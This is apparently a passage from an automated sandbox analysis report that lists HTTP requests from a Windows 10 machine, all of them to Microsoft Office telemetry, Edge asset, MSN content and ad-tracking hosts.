Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1Host: assets2.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733152893&P2=404&P3=2&P4=Loluap9iVVURpI0751qE5BK6%2fKHQDSwfxJQoIoBf2kCpyrgI1H%2fkiuKk%2fSgLpA%2begQfPmwL%2b2wlLveb5eLQ1dw%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: JW4rWyEbjEAhPcCKySOXKJSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732548100468&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0C72B46B3C106818117CA1293D846999&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0C72B46B3C106818117CA1293D846999&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=8e184d914a964862b83f2b8bfd8c983c HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0C72B46B3C106818117CA1293D846999; _EDGE_S=F=1&SID=083805B8B9C66CC63C1F10FAB8886D76; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732548100468&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0C72B46B3C106818117CA1293D846999&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1FA6c47f49f94725b70ccec1732548102; XID=1FA6c47f49f94725b70ccec1732548102
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732548100468&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7fcc8421e2064b25adb1ed85173a4afb&activityId=7fcc8421e2064b25adb1ed85173a4afb&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=0E4695DD1E284F8C9CD302AEFD7E1CED&MUID=0C72B46B3C106818117CA1293D846999 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0C72B46B3C106818117CA1293D846999; _EDGE_S=F=1&SID=083805B8B9C66CC63C1F10FAB8886D76; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0C72B46B3C106818117CA1293D846999&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=88526cb25af44b6a8967205e6c770167 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0C72B46B3C106818117CA1293D846999; _EDGE_S=F=1&SID=083805B8B9C66CC63C1F10FAB8886D76; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msBaE.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCD.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKEr.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
